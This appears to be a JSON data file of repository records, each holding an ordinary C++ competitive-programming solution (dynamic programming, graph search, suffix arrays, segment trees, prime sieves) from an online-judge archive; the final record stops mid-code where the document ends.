{ "alpha_fraction": 0.37240758538246155, "alphanum_fraction": 0.39945897459983826, "avg_line_length": 17.120689392089844, "blob_id": "9520afacbf33822e66a75448ae49435b8aa1167d", "content_id": "d464f7e9c27e83a4cb0f88c04b2811c53f4d1e63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1109, "license_type": "no_license", "max_line_length": 65, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p3300-Accepted-s815575.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\ndouble p[1005];\r\n\r\ndouble dp[102][102][102];\r\n\r\ndouble solve(int l, int r, int h) {\r\n\tif (dp[l][r][h] > -0.5) {\r\n\t\t//cout << l << \" \" << r << \" \" << fixed << dp[l][r][h] << \"\\n\";\r\n\t\treturn dp[l][r][h];\r\n\t}\r\n\tdouble res = 1e9;\r\n\tfor (int i = l; i <= r; i++) {\r\n\t\tdouble tmp = p[i] * (double)h;\r\n\t\tif (tmp > res) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (i != l) {\r\n\t\t\ttmp += solve(l, i - 1, h + 1);\r\n\t\t}\r\n\t\tif (tmp > res) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (i != r) {\r\n\t\t\ttmp += solve(i + 1, r, h + 1);\r\n\t\t}\r\n\t\tif (tmp < res) {\r\n\t\t\tres = tmp;\r\n\t\t}\r\n\t}\r\n\tdp[l][r][h] = res;\r\n\t//cout << l << \" \" << r << \" \" << fixed << dp[l][r][h]<< \"\\n\";\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcout.precision(6);\r\n\twhile (cin >> n) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> p[i];\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = i; j <= n; j++) {\r\n\t\t\t\tfor (int k = 1; k <= n; k++) {\r\n\t\t\t\t\tdp[i][j][k] = -1.0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdouble ans = solve(1, n, 1);\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4636678099632263, "alphanum_fraction": 0.5017300844192505, "avg_line_length": 14.05555534362793, "blob_id": "489fcb5bb7415c626829b9e0cb3595e73e3d4f7a", "content_id": "c429c297c688d8dcf8c843309148450020fec2fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 289, "license_type": "no_license", "max_line_length": 60, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2062-Accepted-s525175.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n#include<cmath>\r\n#define MAXN 20\r\nusing namespace std;\r\n\r\nint c;\r\ndouble a,b;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%lf%lf\",&a,&b);\r\n printf(\"%.4lf\\n\",sqrt(3)*b/(2.0*sin(a*M_PI/180.0)));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.40633246302604675, "alphanum_fraction": 0.42216357588768005, "avg_line_length": 16.047618865966797, "blob_id": "60972de687c674428e4df94af8fbd3c14b0d8557", "content_id": "00c34da4f7f2b5dad3b2d25848ca778c876360f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1137, "license_type": "no_license", "max_line_length": 43, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p1096-Accepted-s738885.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <queue>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, m, l;\r\nbool mark[10005];\r\nvector<int> g[10005];\r\nqueue<int> q;\r\n\r\nvoid bfs(int s) {\r\n\tmark[s] = true;\r\n\tq.push(s);\r\n\twhile (!q.empty()) {\r\n\t\tint u = q.front();\r\n\t\tq.pop();\r\n\t\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\t\tint v = g[u][i];\r\n\t\t\tif (!mark[v]) continue;\r\n\t\t\tmark[v] = true;\r\n\t\t\tq.push(v);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"dominoesII.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> m >> l;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tmark[i] = false;\r\n\t\t\tg[i].clear();\r\n\t\t}\r\n\t\tfor (int i = 0, a, b; i < m; i++) {\r\n\t\t\tcin >> a >> b;\r\n\t\t\tg[a].push_back(b);\r\n\t\t}\r\n\t\tfor (int i = 0, a; i < l; i++) {\r\n\t\t\tcin >> a;\r\n\t\t\tmark[a] = true;\r\n\t\t\tq.push(a);\r\n\t\t\twhile (!q.empty()) {\r\n\t\t\t\tint u = q.front();\r\n\t\t\t\tq.pop();\r\n\t\t\t\tfor (int j = 0; j < g[u].size(); j++) {\r\n\t\t\t\t\tint v = g[u][j];\r\n\t\t\t\t\tif (!mark[v]) {\r\n\t\t\t\t\t\tmark[v] = true;\r\n\t\t\t\t\t\tq.push(v);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tif (mark[i]) ans++;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40361446142196655, "alphanum_fraction": 0.4317269027233124, "avg_line_length": 22.292682647705078, "blob_id": "cfe4796ab117e17bf203e5497e79a1b78853beb3", "content_id": "4c55c4f797be3cf1934c4dada2d2d80870f991cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 996, "license_type": "no_license", "max_line_length": 56, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p2762-Accepted-s610920.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 110;\r\n\r\nchar line[MAXN];\r\nint n, matH[MAXN][MAXN], matC[MAXN][MAXN];\r\n\r\nconst int dx[] = {1, 0, -1, 0}, dy[] = {0, 1, 0, -1};\r\n\r\nvoid busH(int i, int j, int tip) {\r\n\tif (matH[i][j] != tip) return;\r\n\tmatH[i][j] = 0;\r\n\tfor (int r = 0; r < 4; r++)\r\n\t\tbusH(i + dx[r], j + dy[r], tip);\r\n}\r\n\r\nvoid busC(int i, int j, int tip) {\r\n\tif (matC[i][j] != tip) return;\r\n\tmatC[i][j] = 0;\r\n\tfor (int r = 0; r < 4; r++)\r\n\t\tbusC(i + dx[r], j + dy[r], tip);\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tscanf(\"%s\", line + 1);\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tif (line[j] == 'B') matH[i][j] = matC[i][j] = 1;\r\n\t\t\telse if (line[j] == 'R') matH[i][j] = matC[i][j] = 2;\r\n\t\t\telse matH[i][j] = 3, matC[i][j] = 2;\r\n\t\t}\r\n\t}\r\n\tint cH = 0, cC = 0;\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tif (matH[i][j]) {cH++; busH(i, j, matH[i][j]);}\r\n\t\t\tif (matC[i][j]) {cC++; busC(i, j, matC[i][j]);}\r\n\t\t}\r\n\tprintf(\"%d %d\", cH, cC);\r\n}\r\n" }, { "alpha_fraction": 0.2794561982154846, "alphanum_fraction": 0.31268882751464844, "avg_line_length": 20.827587127685547, "blob_id": "a33722b0027a0ae252de1adb3084dfafaf4c5789", "content_id": "eca7ff76777636f1638a0fb168d92c544966404f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 662, "license_type": "no_license", "max_line_length": 68, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1145-Accepted-s453563.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint n,a;\r\ndouble l[1000],m;\r\nstring s;\r\n\r\nint main(){\r\n cin >> n;\r\n while(n--){\r\n cin >> a;\r\n for(int i=0; i<a; i++)cin >> s >> l[i];\r\n \r\n sort(l,l+a);\r\n \r\n m=360-(l[a-1]-l[0]);\r\n \r\n for(int i=1; i<a; i++)if(m<l[i]-l[i-1])m=l[i]-l[i-1];\r\n \r\n m=12.0*(360.0-m);\r\n \r\n if(m-int(m) >= 0.5)m=ceil(m);\r\n else m=floor(m);\r\n \r\n cout << m << endl;\r\n }\r\n }\r\n" }, { "alpha_fraction": 0.4754224121570587, "alphanum_fraction": 0.5007680654525757, "avg_line_length": 18.147058486938477, "blob_id": "8fcf006bb0dbff2a8a2ca541af2eeb0847e4fc3b", "content_id": "63cce51f820c33cf9202d49b7e8244f505c356b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1302, "license_type": "no_license", "max_line_length": 80, "num_lines": 68, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-11;\n\nconst int N = 100005;\n\nint t;\nint n;\nint R;\ndouble x[N], y[N], r[N];\n\nstruct event {\n\tdouble x;\n\tint r;\n\tbool end;\n\tevent() {}\n\tevent(double _x, int _r, bool _end) : x(_x), r(_r), end(_end) {}\n};\n\nbool operator < (const event &a, const event &b) {\n\tif (fabs(a.x - b.x) > EPS) {\n\t\treturn a.x < b.x;\n\t}\n\treturn a.end < b.end;\n}\n\nevent E[2 * N];\nint sz = 0;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfreopen(\"walk.in\", \"r\", stdin);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> R;\n\t\tsz = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tint x, y, r;\n\t\t\tcin >> x >> y >> r;\n\t\t\tif (r > R || y + r > R || y - r < -R) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tdouble xin = (double)x - sqrt(((double)(R - r) * (R - r)) - ((double)y * y));\n\t\t\tdouble xout =(double)x + sqrt(((double)(R - r) * (R - r)) - ((double)y * y));\n\t\t\tE[sz++] = event(xin, r, false);\n\t\t\tE[sz++] = event(xout, r, true);\n\t\t}\n\t\tsort(E, E + sz);\n\t\tlong long curSum = 0;\n\t\tlong long best = 0;\n\t\tfor (int i = 0;i < sz; i++) {\n\t\t\tif (!E[i].end) {\n\t\t\t\tcurSum += E[i].r;\n\t\t\t} else {\n\t\t\t\tcurSum -= E[i].r;\n\t\t\t}\n\t\t\tbest = max(best, curSum);\n\t\t}\n\t\tcout << best << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.46356087923049927, "alphanum_fraction": 0.4787822961807251, "avg_line_length": 20.254901885986328, "blob_id": "477cba43e9f23a807da0ee0ac67138d7da22c449", "content_id": "b0ad750f1f67eb1201f82f157d7de3b7095847bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2168, "license_type": "no_license", "max_line_length": 63, "num_lines": 102, "path": "/Hackerrank/morgan-and-a-string.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntemplate <class T>\nvector <int> normalize(vector <T> v) {\n\tauto cv = v; vector <int> nv(v.size());\n\tsort(cv.begin(), cv.end());\n\tcv.erase(unique(cv.begin(), cv.end()), cv.end());\n\tfor (int i = 0; i < v.size(); i++)\n\t\tnv[i] = upper_bound(cv.begin(), cv.end(), v[i])\n\t\t\t\t\t\t- cv.begin();\n\treturn nv;\n}\n\n// 0 < *min_element(v.begin(), v.end()) !!!\nvector <int> get_suffix_array(vector <int> v, int alpha = -1) {\n\tif (alpha == -1) alpha = v.size() + 2;\n\tv.push_back(v.size() + 1); int n = v.size(), classes = alpha;\n\tvector <int> cnt(max(n, alpha));\n\tvector <int> p(n), np(n), c(n), nc(n);\n\tfor (int i = 0; i < n; i++) p[i] = i, c[i] = v[i];\n\tfor (int len = 1; len < 2 * n; len <<= 1) {\n\t\tint hlen = len >> 1;\n\t\tfor (int i = 0; i < n; i++)\n\t\t\tnp[i] = (p[i] - hlen + n) % n;\n\t\tfor (int i = 0; i < classes; i++) cnt[i] = 0;\n\t\tfor (int i = 0; i < n; i++) cnt[c[i]]++;\n\t\tfor (int i = 1; i < classes; i++)\n\t\t\tcnt[i] += cnt[i - 1];\n\t\tfor (int i = n - 1; i >= 0; i--)\n\t\t\tp[--cnt[c[np[i]]]] = np[i];\n\t\tclasses = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (i == 0 || c[p[i]] != c[p[i - 1]] ||\n\t\t\tc[(p[i] + hlen) % n] != c[(p[i - 1] + hlen) % n])\n\t\t\t\tclasses++;\n\t\t\tnc[p[i]] = classes - 1;\n\t\t}\n\t\tfor (int i = 0; i < n; i++) c[i] = nc[i];\n\t}\n\tp.pop_back(); return p;\n}\n\nvector <int> stringToVector(const string & s) {\n\tvector <int> v(s.size());\n\tfor (int i = 0; i < s.size(); i++) {\n\t\tv[i] = (int)s[i];\n\t}\n\treturn normalize(v);\n}\n\nstring solve(const string & a, const string & b) {\n\tauto v = stringToVector(a + char('Z' + 1) + b);\n\t\n\tauto sa = get_suffix_array(v);\n\n\tvector <int> rank(sa.size());\n\tfor (int i = 0; i < sa.size(); i++) {\n\t\trank[sa[i]] = i;\n\t}\n\n\tint pa = 0;\n\tint pb = 0;\n\n\tstring answer = \"\";\n\n\twhile (pa < a.size() && pb < b.size()) {\n\t\tif (rank[pa] < rank[a.size() + 1 + pb]) {\n\t\t\tanswer += a[pa++];\n\t\t} else {\n\t\t\tanswer += b[pb++];\n\t\t}\n\t}\n\n\twhile (pa < a.size()) {\n\t\tanswer += a[pa++];\n\t}\n\n\twhile (pb < b.size()) {\n\t\tanswer += b[pb++];\n\t}\n\n\treturn answer;\n\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint t;\n\tcin >> t;\n\n\twhile (t--) {\n\t\tstring a, b;\n\t\tcin >> a >> b;\n\n\t\tcout << solve(a, b) << \"\\n\";\n\t}\n\n}\n" }, { "alpha_fraction": 0.4140844941139221, "alphanum_fraction": 0.4338028132915497, "avg_line_length": 15.75, "blob_id": "b3a60ce33a1e34b594954fe23a886f02a703e809", "content_id": "53c78f966d661e1a174386555fe6befd1d42522e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 355, "license_type": "no_license", "max_line_length": 43, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2230-Accepted-s474717.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n,a[8],b[8],ii,jj,s,mx;\r\n\r\nint main(){\r\n cin >> n;\r\n for(int i=0; i<n; i++)cin >> a[i];\r\n for(int i=0; i<n; i++)cin >> b[i];\r\n sort(a,a+n);\r\n sort(b,b+n);\r\n \r\n for(int i=0; i<n; i++)s+=a[i]*b[n-1-i];\r\n \r\n cout << s << endl;\r\n \r\n return 0;\r\n \r\n }\r\n" }, { "alpha_fraction": 0.36625513434410095, "alphanum_fraction": 0.36625513434410095, "avg_line_length": 13.1875, "blob_id": "e0e8bf0a363328063e5a390f0cca565ea059de74", "content_id": "e21ef8b2d8c0817fa4fd9930c3864522521679ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 243, "license_type": "no_license", "max_line_length": 26, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2647-Accepted-s631107.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll c, m, x;\r\n\r\nint main() {\r\n cin >> c >> m;\r\n while (c--) {\r\n cin >> x;\r\n x %= m;\r\n x = (x * x) % m;\r\n cout << x << '\\n';\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.42198580503463745, "alphanum_fraction": 0.4716311991214752, "avg_line_length": 16.625, "blob_id": "d181662628233883c79a401baf82e5061790a96a", "content_id": "9bae5f64f8cfe8224610ca4ed40aa21a3bf4779b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 564, "license_type": "no_license", "max_line_length": 78, "num_lines": 32, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200100;\nint s[MAXN];\n\nint mx[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tint n, k; cin >> n >> k;\n\n int sol = 0;\n\n for( int i = 1; i <= n; i++ ){\n cin >> s[i];\n s[i] += s[i-1];\n\n sol = max( sol , s[i] - s[ max( i-k, 0 ) ] + mx[ max( i - k , 0 ) ] );\n mx[i] = max( s[i] - s[max( i-k , 0 )] , mx[i-1] );\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.2995169162750244, "alphanum_fraction": 0.3285024166107178, "avg_line_length": 13.923076629638672, "blob_id": "f3c294e233c4d592b28a60763d881e7a1f2180ca", "content_id": "b634aa3fac0b97184ae89dd2d9bb1dedcb3ed2cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 414, "license_type": "no_license", "max_line_length": 33, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2576-Accepted-s509027.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint a[26],c;\r\nchar n[30];\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%s\",&n);\r\n int i=n[0]-'a';\r\n a[i]++;\r\n }\r\n bool b=1;\r\n for(int i=0; i<26; i++)\r\n if(a[i]>=5)\r\n {\r\n b=0;\r\n int j=i+'a';\r\n printf(\"%c\",char(j));\r\n }\r\n if(b)printf(\"PREDAJA\");\r\n printf(\"\\n\");\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4971751272678375, "alphanum_fraction": 0.5141242742538452, "avg_line_length": 10.642857551574707, "blob_id": "ee0d399d2850e91e4fa0162245b1252bfdbbf0db", "content_id": "4315673a61dc7128e0add5ff0f85713f7c641e96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 177, "license_type": "no_license", "max_line_length": 27, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2698-Accepted-s550460.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXL 30\r\n\r\nchar word[MAXL];\r\nint sol;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s\", word);\r\n\r\n\tfor(char *p=word; *p; p++)\r\n\t\tsol+=*p-'A'+1;\r\n\tprintf(\"%d\\n\",sol);\r\n}\r\n" }, { "alpha_fraction": 0.4074941575527191, "alphanum_fraction": 0.46135830879211426, "avg_line_length": 16.83333396911621, "blob_id": "f853dec9c9adbfc1721647f57ebe80eff0e9a786", "content_id": "9a71521d58300ad72aadab5dd85dd1420d31e830", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 427, "license_type": "no_license", "max_line_length": 56, "num_lines": 24, "path": "/Codeforces-Gym/100685 - 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100685C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, l[1005];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n;\n int sum = 0;\n for (int i = 0; i < n; i++) {\n cin >> l[i];\n sum += l[i];\n }\n int ans = 0;\n for (int i = 0; i < n; i++) {\n if (l[i] * n > sum) ans++;\n }\n cout << ans << \"\\n\";\n}" }, { "alpha_fraction": 0.3924553394317627, "alphanum_fraction": 0.4275314509868622, "avg_line_length": 18.86842155456543, "blob_id": "6fbb4181add96f325a38a6804f77e730e20d6179", "content_id": "f98a7ad976875dcfa83a9a3991168b02c7ccb362", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1511, "license_type": "no_license", "max_line_length": 65, "num_lines": 76, "path": "/SPOJ/KTHNUM.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 100005;\n \nint n, q;\nint a[N], b[N];\nvector<int> T[4 * N];\n \nvoid build(int x, int l, int r) {\n\tif (l == r) {\n\t\tT[x] = vector<int>(1, a[l]);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tbuild(2 * x, l, m);\n\t\tbuild(2 * x + 1, m + 1, r);\n\t\tint pl = 0, pr = 0;\n\t\twhile (pl < T[2 * x].size() && pr < T[2 * x + 1].size()) {\n\t\t\tif (T[2 * x][pl] < T[2 * x + 1][pr]) {\n\t\t\t\tT[x].push_back(T[2 * x][pl++]);\n\t\t\t} else {\n\t\t\t\tT[x].push_back(T[2 * x + 1][pr++]);\n\t\t\t}\n\t\t}\n\t\twhile (pl < T[2 * x].size()) {\n\t\t\tT[x].push_back(T[2 * x][pl++]);\n\t\t}\n\t\twhile (pr < T[2 * x + 1].size()) {\n\t\t\tT[x].push_back(T[2 * x + 1][pr++]);\n\t\t}\n\t}\n}\n \nint query(int x, int l, int r, int ql, int qr, int v) {\n\tif (l > qr || r < ql) {\n\t\treturn 0;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn upper_bound(T[x].begin(), T[x].end(), v) - T[x].begin();\n\t}\n\tint m = (l + r) >> 1;\n\tint q1 = query(2 * x, l, m, ql, qr, v);\n\tint q2 = query(2 * x + 1, m + 1, r, ql, qr, v);\n\treturn q1 + q2;\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n >> q;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t}\n\tbuild(1, 1, n);\n\twhile (q--) {\n\t\tint x, y, z;\n\t\tcin >> x >> y >> z;\n\t\tint lo = -1e9, hi = 1e9;\n\t\tint ans = hi;\n\t\tint mid, val;\n\t\t//O(logN * logN * logN);\n\t\twhile (lo <= hi) {\n\t\t\tmid = (lo + hi) >> 1;\n\t\t\tval = query(1, 1, n, x, y, mid);\n\t\t\tif (val >= z) {\n\t\t\t\tans = mid;\n\t\t\t\thi = mid - 1;\n\t\t\t} else {\n\t\t\t\tlo = mid + 1;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n} \n" }, { "alpha_fraction": 0.45766589045524597, "alphanum_fraction": 0.513729989528656, "avg_line_length": 19.325580596923828, "blob_id": "0816a97625593a29721ae2266afddf9693fa40de", "content_id": "af4850a0e739795d3ce2c419e2ecbc6c6a0e76fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 874, "license_type": "no_license", "max_line_length": 163, "num_lines": 43, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tconst int N = 10000;\n\tvector <bool> sieve(N + 1, false);\n\tsieve[0] = sieve[1] = true;\n\tfor (int i = 2; i * i <= N; i++) {\n\t\tif (!sieve[i]) {\n\t\t\tfor (int j = i * i; j <= N; j += i) {\n\t\t\t\tsieve[j] = true;\n\t\t\t}\n\t\t}\n\t}\n\tvector <int> primes;\n\tfor (int i = 2; i <= N; i++) {\n\t\tif (!sieve[i]) {\n\t\t\tprimes.push_back(i);\n\t\t}\n\t}\n\tint n;\n\twhile (cin >> n && n) {\n\t\tlong long sum = 0;\n\t\tint ans = 0;\n\t\tfor (int i = 0, j = 0; i < primes.size(); i++) {\n\t\t\tsum += primes[i];\n\t\t\twhile (j < i && sum > n) {\n\t\t\t\tsum -= primes[j];\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tif (sum == n) {\n\t\t\t\tans++;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.35150644183158875, "alphanum_fraction": 0.377331405878067, "avg_line_length": 14.48888874053955, "blob_id": "61f90103d9aab7104f086e201af3f83fd6d9b79d", "content_id": "b492ae5458ef0ee6afe6e8d7c06d69076b09c095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 697, "license_type": "no_license", "max_line_length": 39, "num_lines": 45, "path": "/Caribbean-Training-Camp-2018/Contest_5/Solutions/G5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int maxn = 1000000+10;\n\nint w[maxn+100];\n\nint n;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n w[0] = false;\n int k;\n cin >> k;\n vector<int> t(k);\n for( int i = 0; i < k; i++ )\n cin >> t[i];\n\n for( int i = 1; i < maxn; i++ ){\n bool win = false;\n\n for( auto x: t ){\n if( i-x >= 0 && !w[i-x] ){\n win = true;\n }\n }\n w[i] = win;\n }\n\n cin >> n;\n while( n-- ){\n int x;\n cin >> x;\n if( w[x] )\n cout << \"First\\n\";\n else\n cout << \"Second\\n\";\n\n\n }\n}\n" }, { "alpha_fraction": 0.39925751090049744, "alphanum_fraction": 0.4141073226928711, "avg_line_length": 20.45652198791504, "blob_id": "a29e62bf7bcb3b44897816f1b78cee61ea4ebde0", "content_id": "12d2d5a6114d93568b0edae9d97ff0670e240774", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2963, "license_type": "no_license", "max_line_length": 57, "num_lines": 138, "path": "/Codeforces-Gym/100803 - 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest\n// 100803F\n\n#include <bits/stdc++.h>\n#include <stdint.h>\n\nusing namespace std;\ntypedef pair<int,int> pii;\ntypedef unsigned long long ull;\nconst int MAXN = 510,\n MAXE = 50100;\nstruct edge{\n int ini, fin, cost;\n bool mst;\n};\nbool cmp( const edge &A, const edge &B ){\n return A.cost < B.cost;\n}\n\nint P[MAXN],\n Rank[MAXN];\nint n, m;\nvector<edge> e;\nvector<int> g[MAXN];\nint mk[MAXE];\nint p[MAXN], ed[MAXN], depth[MAXN];\n\nvoid MakeSet( int x ){\n P[x] = x;\n Rank[x] = 1;\n}\n\nint FindSet( int x ){\n if( P[x] != x )\n P[x] = FindSet(P[x]);\n return P[x];\n}\n\nbool joinSet( int x, int y ){\n int px = FindSet(x),\n py = FindSet(y);\n if( px == py )\n return false;\n\n if( Rank[px] > Rank[py] ){\n P[py] = px;\n Rank[px] += Rank[py];\n }\n else{\n P[px] = py;\n Rank[py] += Rank[px];\n }\n return true;\n}\n\nvoid dfs( int );\nint FindMax(int,int,int);\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen(\"data.txt\", \"r\", stdin);\n cin >> n >> m;\n\n for( int i = 1,a,b,c;i <= m; i++ ){\n cin >> a >> b >> c;\n e.push_back( {a,b,c,0} );\n if( i <= n )\n MakeSet(i);\n }\n MakeSet(n);\n sort( e.begin(), e.end(),cmp );\n int Sol = 0, sol2 = 0;\n\n for( int i = 0; i < e.size(); i++ ){\n if( !joinSet( e[i].ini, e[i].fin ) ) continue;\n\n g[ e[i].ini ].push_back( i );\n g[ e[i].fin 